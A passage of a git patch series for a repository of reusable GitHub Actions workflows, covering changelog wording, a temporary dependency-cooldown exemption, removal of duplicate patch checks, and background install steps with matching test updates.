for a list of languages, with inputs for ignored paths, query suite, -configuration file, and build mode. A caller keeps its own triggers and grants `security-events: write`. +Add `codeql.yaml`, a reusable workflow that runs CodeQL for a list of languages, with inputs for ignored paths, query +suite, configuration file, and build mode. A caller keeps its own triggers and grants `security-events: write`. diff --git a/changelog.d/+github-release-workflow.feature.md b/changelog.d/+github-release-workflow.feature.md index 31d9de4..9901b54 100644 --- a/changelog.d/+github-release-workflow.feature.md +++ b/changelog.d/+github-release-workflow.feature.md @@ -1,2 +1,3 @@ -`github-release.yaml` verifies the PyPI files and publishes the GitHub Release in a job that runs in the caller's -`release` environment. It replaces the reconcile and publish steps that callers copied. +Add `github-release.yaml`, a reusable workflow that verifies the PyPI files and publishes the GitHub Release in a job +that runs in the caller's `release` environment. It replaces the reconcile and publish steps that callers otherwise +copy. diff --git a/changelog.d/+jetbrains-marketplace-stage.feature.md b/changelog.d/+jetbrains-marketplace-stage.feature.md index 20aef2a..3e6ad2f 100644 --- a/changelog.d/+jetbrains-marketplace-stage.feature.md +++ b/changelog.d/+jetbrains-marketplace-stage.feature.md @@ -1,2 +1,2 @@ -Add `stage-jetbrains-marketplace`, which checks a signed plugin ZIP against JetBrains Marketplace before upload and -again after the version is public, and derives the Marketplace channel from the tag suffix. +Add `stage-jetbrains-marketplace`, a composite action that checks a signed plugin ZIP against JetBrains Marketplace +before upload and again after the version is public, and derives the Marketplace channel from the tag suffix. diff --git a/changelog.d/+jetbrains-plugin-check.feature.md b/changelog.d/+jetbrains-plugin-check.feature.md index 8e386cd..ad1e2e0 100644 --- a/changelog.d/+jetbrains-plugin-check.feature.md +++ b/changelog.d/+jetbrains-plugin-check.feature.md @@ -1,3 +1,4 @@ -Add `jetbrains-plugin-check.yaml`, a reusable JetBrains plugin check that builds the ZIP and records its SHA256, runs -`verifyPlugin` for each IDE in a matrix input, runs the Xvfb UI tests with a configurable start timeout, and gates on -all of them. A release caller passes the tag as `plugin-version` and signs the ZIP from the recorded digest. +Add `jetbrains-plugin-check.yaml`, a reusable workflow that builds the plugin ZIP and records its SHA256, runs +`verifyPlugin` for each entry of the `verify-matrix` input, runs the Xvfb UI tests with a configurable timeout for the +test IDE, and requires all of them to pass. A release caller passes the tag as `plugin-version` and signs the ZIP from +the recorded digest. diff --git a/changelog.d/+jetbrains-post-release.feature.md b/changelog.d/+jetbrains-post-release.feature.md index 347e841..67a3622 100644 --- a/changelog.d/+jetbrains-post-release.feature.md +++ b/changelog.d/+jetbrains-post-release.feature.md @@ -1,2 +1,2 @@ -Add `prepare-jetbrains-post-release`, which commits the next `-dev` plugin version after a release without an App token, -so `publish-post-release-pr` can open the bump pull request. +Add `prepare-jetbrains-post-release`, a composite action that commits the next `-dev` plugin version after a release +without an App token, so `publish-post-release-pr` can open the bump pull request. diff --git a/changelog.d/+open-maintenance-pr.feature.md b/changelog.d/+open-maintenance-pr.feature.md index c8ef914..e802d50 100644 --- a/changelog.d/+open-maintenance-pr.feature.md +++ b/changelog.d/+open-maintenance-pr.feature.md @@ -1,2 +1,3 @@ -Maintenance pull requests open from a read-only job's patch once its paths and file modes match a caller allowlist, and -the App token is minted only after that check. +Add `open-maintenance-pr.yaml`, a reusable workflow that opens or updates a pull request from a read-only job's patch. +The patch must touch only the caller's `allowed-paths`, as regular non-executable files or deletions, and the App token +is minted only after that check. diff --git a/changelog.d/+prepare-release-creator.feature.md b/changelog.d/+prepare-release-creator.feature.md index bed759b..3faeb4e 100644 --- a/changelog.d/+prepare-release-creator.feature.md +++ b/changelog.d/+prepare-release-creator.feature.md @@ -1,4 +1,4 @@ -Add `prepare-release-creator.yaml`, a reusable release preparation for repositories that use release-creator. Its -assemble job selects the version from the tags and pending fragments, links fragments to their pull requests, runs the -caller's changelog command, and uploads a patch. Its push job checks the patch against the caller's allowed paths and -pushes the release commit and tag with the release App token. +Add `prepare-release-creator.yaml`, a reusable workflow that prepares releases for repositories that use +release-creator. Its assemble job selects the version from the tags and pending fragments, links fragments to their pull +requests, runs the caller's changelog command, and uploads a patch. Its push job checks the patch against the caller's +allowed paths and pushes the release commit and tag with the release App token. diff --git a/changelog.d/+release-notes-workflow.feature.md b/changelog.d/+release-notes-workflow.feature.md index 15fd896..e5e0661 100644 --- a/changelog.d/+release-notes-workflow.feature.md +++ b/changelog.d/+release-notes-workflow.feature.md @@ -1,2 +1,2 @@ -`release-notes.yaml` renders the GitHub Release body in a read-only job and uploads it as an artifact. Callers no longer -repeat the tool install, previous-tag selection and upload steps. +Add `release-notes.yaml`, a reusable workflow that renders the GitHub Release body in a read-only job and uploads it as +an artifact. Callers need not repeat the tool install, previous-tag selection, and upload steps. diff --git a/changelog.d/+render-package-notes.feature.md b/changelog.d/+render-package-notes.feature.md index e8c0efa..9ac3103 100644 --- a/changelog.d/+render-package-notes.feature.md +++ b/changelog.d/+render-package-notes.feature.md @@ -1 +1 @@ -`render-release-notes` takes a `package` input that renders one package section of a shared Markdown changelog. +Add a `package` input to `render-release-notes` that renders one package section of a shared Markdown changelog. diff --git a/changelog.d/+required-checks.feature.md b/changelog.d/+required-checks.feature.md index 1152595..b08cda8 100644 --- a/changelog.d/+required-checks.feature.md +++ b/changelog.d/+required-checks.feature.md @@ -1,2 +1,3 @@ -The `required-checks` Action fails unless every job in a `needs` context succeeded, and it accepts named jobs that may be -skipped. A gate calls it in place of its own `jq` expression, and the required check name stays with the caller. +Add `required-checks`, a composite action that fails unless every job in a `needs` context succeeded. Its +`allow-skipped` input names jobs that may end skipped. A gate calls it in place of an inline `jq` expression, and the +required check name stays with the caller. diff --git a/changelog.d/+update-python-dependencies.feature.md b/changelog.d/+update-python-dependencies.feature.md index be037ec..0c65ff6 100644 --- a/changelog.d/+update-python-dependencies.feature.md +++ b/changelog.d/+update-python-dependencies.feature.md @@ -1,2 +1,4 @@ -Python dependency floors bump under a seven-day cooldown that a run can expedite per package. With `kind: library`, the -project and test groups bump without it. The lock is regenerated, and one dependency pull request opens. +Add `update-python-dependencies.yaml`, a reusable workflow that bumps Python dependency floors, regenerates +`pylock.toml`, and opens one dependency pull request. Bumps wait out a seven-day cooldown by default, and `expedite` +lifts it for named packages in one run. With `kind: library`, the `fresh-groups` take their newest release at once, and +the other groups wait. From 8a460f2487a3257eadf92c09c20d3e708e47082b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:22:01 -0800 Subject: [PATCH 29/38] =?UTF-8?q?=F0=9F=91=B7=20ci(update):=20exempt=20fre?= =?UTF-8?q?sh=20bump-deps-index?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit bump-deps-index 1.19.0, which carries the per-package and per-group cutoffs the update workflow needs, was uploaded on 2026-11-04. The seven-day cutoff would reject it, so the bump step exempts that one package until 2026-11-11. The exemption sits in the step rather than an input so callers cannot drop it while the release is young. --- .github/workflows/update-python-dependencies.yaml | 3 ++- tests/update_python_dependencies/test_update.py | 14 ++++++++++++-- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml index 87f8033..bf98259 100644 --- a/.github/workflows/update-python-dependencies.yaml +++ b/.github/workflows/update-python-dependencies.yaml @@ -187,7 +187,8 @@ jobs: UV_NO_CONFIG: "1" run: | set -euo pipefail - bump=(uvx --exclude-newer "$EXCLUDE_NEWER") + # Temporary: bump-deps-index 1.19.0 is younger than seven days. Delete after 2026-11-11. + bump=(uvx --exclude-newer "$EXCLUDE_NEWER" --exclude-newer-package bump-deps-index=2026-11-04T02:21:00Z) while IFS= read -r line; do if [[ -n "$line" ]]; then bump+=(--exclude-newer-package "$line") diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py index a75d980..bc29896 100644 --- a/tests/update_python_dependencies/test_update.py +++ b/tests/update_python_dependencies/test_update.py @@ -124,7 +124,15 @@ def test_bump_runs_each_group_with_expedite(repository: Path, tmp_path: Path) -> assert result.returncode == 0, result.stderr result, calls = bump(repository, tmp_path, outputs) assert result.returncode == 0, result.stderr - prefix = ["--exclude-newer", "7 days", "bump-deps-index>=1.19", "--exclude-newer", outputs["cutoff"]] + prefix = [ + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "bump-deps-index=2026-11-04T02:21:00Z", + "bump-deps-index>=1.19", + "--exclude-newer", + outputs["cutoff"], + ] assert calls == [ "\t".join( [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] @@ -172,7 +180,7 @@ def test_tool_install_takes_the_exclude_newer_inputs(repository: Path, tmp_path: ) assert result.returncode == 0, result.stderr assert calls == [ - "--exclude-newer\t2026-10-01T00:00:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-01T00:00:00Z\tbump-deps-index>=1.19\t--no-exclude-newer\t--file\tpyproject.toml\ttox.toml" + "--exclude-newer\t2026-10-01T00:00:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-04T02:21:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-01T00:00:00Z\tbump-deps-index>=1.19\t--no-exclude-newer\t--file\tpyproject.toml\ttox.toml" ] @@ -186,6 +194,8 @@ def test_library_bump_keeps_fresh_groups_fresh(repository: Path, tmp_path: Path) [ "--exclude-newer", "7 days", + "--exclude-newer-package", + "bump-deps-index=2026-11-04T02:21:00Z", "bump-deps-index>=1.19", "--exclude-newer", outputs["cutoff"], From c5e2c962fca1fe5da279c4678c1ca8241d7d5941 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 18:54:20 -0800 Subject: [PATCH 30/38] =?UTF-8?q?=F0=9F=91=B7=20ci(workflows):=20drop=20du?= =?UTF-8?q?plicate=20checks=20and=20waits?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The same path and mode check ran twice in maintenance pull requests, and update-python-dependencies ran the hooks twice to confirm stability. The writer now applies the exact bytes the read-only job verified by digest, and one hook run accepts the files it rewrites, since the pull request checks run the hooks on the result. Release patch paths and modes are one check in validate-release-patch. Upgrading release tools hands its pull request to open-maintenance-pr instead of keeping a second writer, so the commit subject is the pull request title and the commit-message input goes away. Independent installs and downloads run in background steps and join before the step that needs them. --- .github/workflows/build-maturin-wheels.yaml | 8 + .github/workflows/check.yaml | 38 ++++- .github/workflows/github-release.yaml | 22 ++- .github/workflows/open-maintenance-pr.yaml | 62 ------- .../workflows/prepare-release-creator.yaml | 14 +- .../workflows/update-python-dependencies.yaml | 44 +++-- .github/workflows/update-tools.yaml | 1 - .github/workflows/upgrade-release-tools.yaml | 144 ++-------------- refresh-release-lock/action.yml | 4 +- stage-jetbrains-marketplace/action.yml | 7 - tests/build_maturin_wheels/test_workflow.py | 18 ++ tests/check_workflow/test_check.py | 86 +++++++++- tests/open_maintenance_pr/test_open.py | 25 ++- .../test_release_creator.py | 1 + tests/refresh_release_lock/test_refresh.py | 2 +- .../test_github_release_workflow.py | 6 +- .../stage_jetbrains_marketplace/test_stage.py | 24 --- .../update_python_dependencies/test_update.py | 62 ++++++- tests/upgrade_release_tools/test_upgrade.py | 157 +++--------------- validate-release-patch/action.yml | 90 ++++------ 20 files changed, 359 insertions(+), 456 deletions(-) diff --git a/.github/workflows/build-maturin-wheels.yaml b/.github/workflows/build-maturin-wheels.yaml index 53d3fee..e10452c 100644 --- a/.github/workflows/build-maturin-wheels.yaml +++ b/.github/workflows/build-maturin-wheels.yaml @@ -111,6 +111,8 @@ jobs: include: ${{ fromJSON(inputs.matrix) }} steps: - name: ๐Ÿ“ฉ Download source + id: download + background: true uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: artifact-ids: ${{ needs.source.outputs.artifact-id }} @@ -123,6 +125,8 @@ jobs: python-version: "3.15" enable-cache: false activate-environment: true + - name: โณ Wait for source + wait: download - name: ๐Ÿ—๏ธ Build wheels uses: PyO3/maturin-action@e83996d129638aa358a18fbd1dfb82f0b0fb5d3b # v1.51.0 with: @@ -156,6 +160,8 @@ jobs: contents: read steps: - name: ๐Ÿ“ฉ Download source + id: download + background: true uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: artifact-ids: ${{ needs.source.outputs.artifact-id }} @@ -165,6 +171,8 @@ jobs: version: latest-known python-version: "3.15" enable-cache: false + - name: โณ Wait for source + wait: download - name: ๐Ÿ“ฆ Export locked build constraints id: constraints uses: $/export-build-constraints diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml index df278bc..5e89d02 100644 --- a/.github/workflows/check.yaml +++ b/.github/workflows/check.yaml @@ -55,23 +55,30 @@ jobs: with: fetch-depth: 0 persist-credentials: false - - name: ๐Ÿ Install uv and Python - uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 - with: - version: latest-known - python-version: "3.15" - enable-cache: false - name: ๐Ÿ“ฆ Install apt packages - if: ${{ inputs.apt-packages != '' && runner.os == 'Linux' }} + id: apt + background: true shell: bash env: APT_PACKAGES: ${{ inputs.apt-packages }} run: | set -euo pipefail + if [[ -z "$APT_PACKAGES" || "$RUNNER_OS" != Linux ]]; then + echo 'Apt packages skipped: the apt-packages input is empty or the runner is not Linux' + exit 0 + fi read -ra packages <<<"$APT_PACKAGES" sudo apt-get update sudo apt-get install -y "${packages[@]}" + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false - name: ๐Ÿ“ฆ Install tox + id: tox + background: true shell: bash env: TOX_INSTALL: ${{ inputs.tox-install }} @@ -87,11 +94,24 @@ jobs: echo "Installing ${spec[*]} with uploads older than $EXCLUDE_NEWER" uv tool install --python-preference only-managed --python 3.15 "${options[@]}" "${spec[@]}" - name: ๐Ÿ Install Python - if: ${{ matrix.python }} + id: python + background: true shell: bash env: PYTHON: ${{ matrix.python }} - run: uv python install --python-preference only-managed "$PYTHON" + run: | + set -euo pipefail + if [[ -z "$PYTHON" ]]; then + echo 'Python install skipped: the matrix row names no python' + exit 0 + fi + uv python install --python-preference only-managed "$PYTHON" + - name: โณ Wait for apt packages + wait: apt + - name: โณ Wait for tox + wait: tox + - name: โณ Wait for Python + wait: python - name: ๐Ÿ“ฆ Set up test suite shell: bash env: diff --git a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml index 4e2a533..50631cf 100644 --- a/.github/workflows/github-release.yaml +++ b/.github/workflows/github-release.yaml @@ -47,24 +47,32 @@ jobs: permissions: contents: write steps: - - name: ๐Ÿ Install uv and Python - uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 - with: - version: latest-known - python-version: "3.15" - enable-cache: false - ignore-empty-workdir: true - name: ๐Ÿ“ฉ Download distributions + id: distributions + background: true uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: pattern: ${{ inputs.artifact-pattern }} path: dist merge-multiple: true - name: ๐Ÿ“ฉ Download release notes + id: notes + background: true uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: artifact-ids: ${{ inputs.notes-artifact-id }} path: ${{ runner.temp }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + ignore-empty-workdir: true + - name: โณ Wait for distributions + wait: distributions + - name: โณ Wait for release notes + wait: notes - name: ๐Ÿ” Verify PyPI artifacts uses: $/reconcile-pypi-artifacts with: diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml index b3752aa..676c4dd 100644 --- a/.github/workflows/open-maintenance-pr.yaml +++ b/.github/workflows/open-maintenance-pr.yaml @@ -164,68 +164,6 @@ jobs: env: PATCH: ${{ runner.temp }}/maintenance-patch/maintenance.patch run: git apply --index --verbose "$PATCH" - - name: ๐Ÿ” Check patch paths and modes - env: - ALLOWED_PATHS: ${{ inputs.allowed-paths }} - run: | - set -euo pipefail - patterns=() - while IFS= read -r pattern; do - if [[ -n "$pattern" ]]; then - patterns+=("$pattern") - fi - done <<<"$ALLOWED_PATHS" - if ((${#patterns[@]} == 0)); then - echo "::error::allowed-paths lists no pattern" >&2 - exit 1 - fi - git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/maintenance-raw" - count=0 - while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do - read -ra fields <<<"$metadata" - old_mode=${fields[0]#:} - new_mode=${fields[1]} - case "${fields[4]}" in - A) - expected_old=000000 - expected_new=100644 - ;; - M) - expected_old=100644 - expected_new=100644 - ;; - D) - expected_old=100644 - expected_new=000000 - ;; - *) - echo "::error::unexpected maintenance path status ${fields[4]} for $path" >&2 - exit 1 - ;; - esac - matched=false - for pattern in "${patterns[@]}"; do - # shellcheck disable=SC2053 # The patterns are globs, matched on purpose. - if [[ "$path" == $pattern ]]; then - matched=true - break - fi - done - if [[ "$matched" != true ]]; then - echo "::error::unexpected maintenance path: $path" >&2 - exit 1 - fi - if [[ "$old_mode" != "$expected_old" || "$new_mode" != "$expected_new" ]]; then - echo "::error::unexpected maintenance file mode for $path: $old_mode to $new_mode" >&2 - exit 1 - fi - count=$((count + 1)) - done <"$RUNNER_TEMP/maintenance-raw" - if ((count == 0)); then - echo "::error::maintenance patch changes no paths" >&2 - exit 1 - fi - echo "Maintenance patch paths: $count allowed, each a regular non-executable file or a deletion" - name: ๐Ÿท๏ธ Commit maintenance change env: TITLE: ${{ inputs.title }} diff --git a/.github/workflows/prepare-release-creator.yaml b/.github/workflows/prepare-release-creator.yaml index 01aef9d..d714db7 100644 --- a/.github/workflows/prepare-release-creator.yaml +++ b/.github/workflows/prepare-release-creator.yaml @@ -243,16 +243,20 @@ jobs: permissions: contents: read steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - fetch-depth: 1 - persist-credentials: false - name: ๐Ÿ“ฉ Download release patch + id: patch + background: true uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 with: artifact-ids: ${{ needs.assemble.outputs.artifact-id }} path: ${{ runner.temp }}/release-patch + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: โณ Wait for release patch + wait: patch - name: โš™๏ธ Apply release patch uses: $/validate-release-patch with: diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml index bf98259..91833d2 100644 --- a/.github/workflows/update-python-dependencies.yaml +++ b/.github/workflows/update-python-dependencies.yaml @@ -80,13 +80,6 @@ jobs: version: latest-known python-version: "3.15" enable-cache: false - - name: ๐Ÿ“ฆ Install locked release tools - uses: $/install-locked-tools - with: - groups: release-prepare - venv: ${{ runner.temp }}/release-tools - exclude-newer: ${{ inputs.exclude-newer }} - exclude-newer-package: ${{ inputs.exclude-newer-package }} - id: inputs name: โš™๏ธ Validate inputs and set the cutoffs env: @@ -179,6 +172,15 @@ jobs: printf '%s\n' pylock.toml "${bumped[@]}" "$ALLOWED_EXTRA" echo 'ALLOWED_PATHS_EOF' } >>"$GITHUB_OUTPUT" + - id: tools + name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-prepare + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + background: true - name: ๐Ÿ“ฆ Bump dependency floors env: CUTOFF: ${{ steps.inputs.outputs.cutoff }} @@ -216,20 +218,38 @@ jobs: echo "Bumping ${files[*]}" "${bump[@]}" "${args[@]}" --file "${files[@]}" done <"$RUNNER_TEMP/file-groups" + - name: โณ Wait for locked release tools + wait: tools + - id: install-hooks + name: ๐Ÿงน Install prek hooks + uses: $/cooled-prek + with: + args: install-hooks + background: true - name: ๐Ÿ”’ Refresh release lock uses: $/refresh-release-lock with: exclude-newer: ${{ inputs.exclude-newer }} exclude-newer-package: ${{ inputs.exclude-newer-package }} - - name: ๐Ÿงน Run repository hooks + - name: โณ Wait for prek hooks + wait: install-hooks + - name: ๐Ÿ“‘ Stage dependency changes + run: git add --all + - id: hooks + name: ๐Ÿงน Run repository hooks continue-on-error: true uses: $/cooled-prek with: args: run --all-files - - name: ๐Ÿงน Confirm repository hooks are stable - uses: $/cooled-prek - with: - args: run --all-files + - name: ๐Ÿงน Reject hook failures that changed no file + if: steps.hooks.outcome == 'failure' + run: | + set -euo pipefail + if git diff --quiet; then + echo '::error::repository hooks failed without changing a file' >&2 + exit 1 + fi + echo 'Repository hooks changed files before failing; the pull request checks verify the result' - id: patch name: ๐Ÿ“ Write maintenance patch run: | diff --git a/.github/workflows/update-tools.yaml b/.github/workflows/update-tools.yaml index 5bb9979..3ccf74e 100644 --- a/.github/workflows/update-tools.yaml +++ b/.github/workflows/update-tools.yaml @@ -13,7 +13,6 @@ jobs: secrets: RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} with: - commit-message: "๐Ÿ”ง build: refresh release tool lock" pull-request-title: "๐Ÿ”ง build: refresh release tool lock" pull-request-body: "Refresh the locked tools used by release preparation and CI." # Temporary: release-creator 4.3.2 is younger than seven days. Delete after 2026-11-06. diff --git a/.github/workflows/upgrade-release-tools.yaml b/.github/workflows/upgrade-release-tools.yaml index c609acb..6d97872 100644 --- a/.github/workflows/upgrade-release-tools.yaml +++ b/.github/workflows/upgrade-release-tools.yaml @@ -26,10 +26,6 @@ on: description: Space-separated implementations for the secondary lock type: string default: "" - commit-message: - description: Commit message for the refreshed dependency files - type: string - default: "๐Ÿ”ง build(deps): refresh release tools" pull-request-title: description: Title for the dependency pull request type: string @@ -87,136 +83,32 @@ jobs: additional-matrix-implementations: ${{ inputs.additional-matrix-implementations }} exclude-newer: ${{ inputs.exclude-newer }} exclude-newer-package: ${{ inputs.exclude-newer-package }} - - name: ๐Ÿ“ค Upload lock patch + - name: ๐Ÿ“ค Upload maintenance patch id: upload uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 if: steps.lock.outputs.changed == 'true' with: - name: release-tools-lock - path: ${{ runner.temp }}/lock.patch + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch if-no-files-found: error retention-days: 7 - publish: + open: name: ๐Ÿ”€ Open release tools PR needs: generate-lock if: needs.generate-lock.outputs.changed == 'true' - runs-on: ubuntu-26.04 - environment: release-auth permissions: contents: read - steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - ref: ${{ github.sha }} - fetch-depth: 0 - persist-credentials: false - - name: ๐Ÿ“ฉ Download lock patch - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 - with: - artifact-ids: ${{ needs.generate-lock.outputs.artifact-id }} - path: ${{ runner.temp }}/release-tools-lock - - name: ๐Ÿ” Check artifact patch paths - env: - ADDITIONAL_LOCK: ${{ inputs.additional-lock }} - run: | - set -euo pipefail - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" git read-tree HEAD - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" git apply --cached "$RUNNER_TEMP/release-tools-lock/lock.patch" - GIT_INDEX_FILE="$RUNNER_TEMP/lock.index" \ - git diff --cached --name-only --no-renames -z >"$RUNNER_TEMP/lock-paths" - while IFS= read -r -d '' path; do - if [[ "$path" != pylock.toml && "$path" != "$ADDITIONAL_LOCK" ]]; then - echo "::error::unexpected lock patch path: $path" >&2 - exit 1 - fi - echo "Lock patch path: $path (allowed lock)" - done <"$RUNNER_TEMP/lock-paths" - - name: ๐Ÿ”’ Apply lock patch - run: git apply --index --verbose "$RUNNER_TEMP/release-tools-lock/lock.patch" - - name: ๐Ÿ” Check dependency patch file mode - run: | - set -euo pipefail - git diff --cached --raw --no-renames -z >"$RUNNER_TEMP/dependency-modes" - while IFS= read -r -d '' metadata && IFS= read -r -d '' path; do - read -ra fields <<<"$metadata" - if [[ "${fields[1]}" != 100644 ]]; then - echo "::error::unexpected dependency file mode in $path: ${fields[1]}" >&2 - exit 1 - fi - echo "Lock patch file mode: $path is a regular non-executable file" - done <"$RUNNER_TEMP/dependency-modes" - - name: ๐Ÿท๏ธ Commit refreshed tools - env: - COMMIT_MESSAGE: ${{ inputs.commit-message }} - run: | - git config user.name 'github-actions[bot]' - git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - git commit -m "$COMMIT_MESSAGE" - - id: repository - name: โš™๏ธ Select the current repository - env: - REPOSITORY: ${{ github.repository }} - run: echo "name=${REPOSITORY#*/}" >>"$GITHUB_OUTPUT" - - name: ๐Ÿ”‘ Create release App token - id: token - uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 - with: - client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} - private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} - owner: ${{ github.repository_owner }} - repositories: ${{ steps.repository.outputs.name }} - permission-contents: write - permission-pull-requests: write - - name: โฌ†๏ธ Push dependency branch - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - run: | - gh auth setup-git --hostname github.com --force - echo 'Pushing automation/update-release-tools, replacing any earlier refresh (force with lease)' - git push --force-with-lease origin HEAD:refs/heads/automation/update-release-tools - - name: ๐Ÿ“ Write dependency pull request body - env: - PR_BODY: ${{ inputs.pull-request-body }} - run: printf '%s\n' "$PR_BODY" >"$RUNNER_TEMP/pull-request.md" - - name: ๐Ÿ”€ Find dependency pull request - id: pr - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - run: | - set -euo pipefail - owner=${GITHUB_REPOSITORY%%/*} - number=$( - gh api -X GET "repos/$GITHUB_REPOSITORY/pulls" -f state=open \ - -f head="$owner:automation/update-release-tools" -f base=main | - jq -r --arg repository "$GITHUB_REPOSITORY" ' - [.[] | select(.head.repo.full_name == $repository and - .head.ref == "automation/update-release-tools" and .base.ref == "main")] | - if length == 0 then "" - elif length == 1 then .[0].number - else error("multiple dependency pull requests") end - ' - ) - if [[ -n "$number" ]]; then - echo "Dependency pull request: #$number is open, updating it" - else - echo 'Dependency pull request: none open, opening one' - fi - echo "number=$number" >>"$GITHUB_OUTPUT" - - name: ๐Ÿ”€ Update dependency pull request - if: steps.pr.outputs.number != '' - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - PR_NUMBER: ${{ steps.pr.outputs.number }} - PR_TITLE: ${{ inputs.pull-request-title }} - run: | - gh pr edit "$PR_NUMBER" --title "$PR_TITLE" --body-file "$RUNNER_TEMP/pull-request.md" \ - --add-label dependencies --add-label 'skip news' - - name: ๐Ÿ”€ Open dependency pull request - if: steps.pr.outputs.number == '' - env: - GH_TOKEN: ${{ steps.token.outputs.token }} - PR_TITLE: ${{ inputs.pull-request-title }} - run: | - gh pr create --base main --head automation/update-release-tools --title "$PR_TITLE" \ - --body-file "$RUNNER_TEMP/pull-request.md" --label dependencies --label 'skip news' + uses: $/.github/workflows/open-maintenance-pr.yaml + with: + artifact-id: ${{ needs.generate-lock.outputs.artifact-id }} + allowed-paths: | + pylock.toml + ${{ inputs.additional-lock }} + branch: automation/update-release-tools + title: ${{ inputs.pull-request-title }} + body: ${{ inputs.pull-request-body }} + labels: | + dependencies + skip news + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} diff --git a/refresh-release-lock/action.yml b/refresh-release-lock/action.yml index b88bf06..17bc3f7 100644 --- a/refresh-release-lock/action.yml +++ b/refresh-release-lock/action.yml @@ -172,7 +172,7 @@ runs: echo 'changed=false' >>"$GITHUB_OUTPUT" else echo 'changed=true' >>"$GITHUB_OUTPUT" - git diff --binary -- "${paths[@]}" >"$RUNNER_TEMP/lock.patch" - echo "Lock patch -> $RUNNER_TEMP/lock.patch:" + git diff --binary -- "${paths[@]}" >"$RUNNER_TEMP/maintenance.patch" + echo "Lock patch -> $RUNNER_TEMP/maintenance.patch:" git diff --stat -- "${paths[@]}" fi diff --git a/stage-jetbrains-marketplace/action.yml b/stage-jetbrains-marketplace/action.yml index a7a9bd3..f031b66 100644 --- a/stage-jetbrains-marketplace/action.yml +++ b/stage-jetbrains-marketplace/action.yml @@ -60,13 +60,6 @@ runs: MODE: ${{ inputs.mode }} run: | set -euo pipefail - case "$MODE" in - stage | verify) ;; - *) - echo "::error::mode must be stage or verify, got $MODE" >&2 - exit 1 - ;; - esac args=(marketplace --plugin-id "$PLUGIN_ID" --version "${VERSION#v}" --archive "$ARCHIVE" --mode "$MODE") if [[ "$MODE" == stage ]]; then args+=(--github-output "$GITHUB_OUTPUT"); fi release-creator "${args[@]}" diff --git a/tests/build_maturin_wheels/test_workflow.py b/tests/build_maturin_wheels/test_workflow.py index 829bc0b..8754824 100644 --- a/tests/build_maturin_wheels/test_workflow.py +++ b/tests/build_maturin_wheels/test_workflow.py @@ -65,6 +65,24 @@ def test_pre_build_command_runs_once_in_the_source_job(workflow: JsonObject) -> assert "๐Ÿท๏ธ Run pre-build command" not in [item["name"] for item in steps(workflow, "build")] +@pytest.mark.parametrize( + ("job", "first_use"), + [ + pytest.param("build", "๐Ÿ—๏ธ Build wheels", id="wheels"), + 